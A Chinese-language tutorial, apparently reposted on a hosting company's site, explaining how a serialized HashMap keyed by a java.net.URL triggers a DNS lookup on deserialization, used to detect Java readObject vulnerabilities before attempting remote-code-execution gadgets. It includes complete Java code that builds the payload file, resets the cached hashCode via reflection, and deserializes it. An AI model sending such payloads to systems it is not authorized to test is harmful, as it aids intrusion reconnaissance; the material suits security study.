您好,登錄后才能下訂單哦!
本篇內容介紹了“怎么通過HashMap觸發DNS檢測Java反序列化漏洞”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
通過 HashMap 觸發 DNS 檢測 Java 反序列化漏洞
我們常說的反序列化漏洞一般是指 readObject() 方法處觸發的漏洞,而除此以外針對不同的序列化格式又會產生不同的出發點,比如說 fastjson 會自動運行 setter,getter 方法。之后又有各種 RMI,JNDI 姿勢去執行命令。現在常見的黑盒檢測 Java 反序列化方式就是執行命令 API,比如用一個 gadget 去執行 nslookup xxx 最終通過服務器記錄去判斷。
但這種方式可能出現的一種問題是,你選擇測試的 gadget 服務器正好沒這個 jar 包或者更新過了,但卻有另一個存在漏洞的 jar 包。這時候單一的 gadget構造出的執行命令 payload 就會漏報。所以為了解決這種問題這里分享一個通過 HashMap 結合 URL 觸發 DNS 檢查的思路。在實際過程中可以首先通過這個去判斷服務器是否使用了 readObject() 以及能否執行。之后再用各種 gadget 去嘗試試 RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap 最早出現在 JDK 1.2 中,底層基于散列算法實現。而正是因為在 HashMap 中,Entry 的存放位置是根據 Key 的 Hash 值來計算,然后存放到數組中的。所以對于同一個 Key,在不同的 JVM 實現中計算得出的 Hash 值可能是不同的。因此,HashMap 實現了自己的 writeObject 和 readObject 方法。
因為是研究反序列化問題,所以我們來看一下它的 readObject 方法。
前面主要是使用的一些防止數據不一致的方法,我們可以忽視。主要看 putVal 時候 key 進入了 hash 方法,跟進看。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
這里直接調用了 key 的 hashCode 方法。那么我們現在就需要一個類 hashCode 可以執行某些東西即可。
很幸運的我們發現了 URL 類,它有一個有趣的特點,就是當執行 hashCode 方法時會觸發當前 URLStreamHandler 的 hashCode 方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
我們可以繼續跟進。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
主要就是這句代碼了。
InetAddress addr = getHostAddress(u);
很簡單,就是這里最后觸發了 DNS 查詢。
也就是說我們現在思路是通過 hashmap 放入一個 URL 的 key 然后會觸發 DNS 查詢。這里需要注意一個點,就是在 URLStreamHandler 的 hashCode 方法中首先進行了一個緩存判斷即如果不等于 -1 會直接 return。
if (hashCode != -1)
return hashCode;
因為在生成 hashMap put 時候會調用到 hashCode 方法,所以會緩存下來,即 hashcode 不為 -1。所以為了讓被接收者觸發 DNS 查詢,我們需要先通過反射把 hashcode 值改為 -1,繞過緩存判斷。
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
最后生成的代碼為:
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
測試代碼:
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();
調用棧:
最終你會發現成功的觸發 DNS 查詢。
“怎么通過HashMap觸發DNS檢測Java反序列化漏洞”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。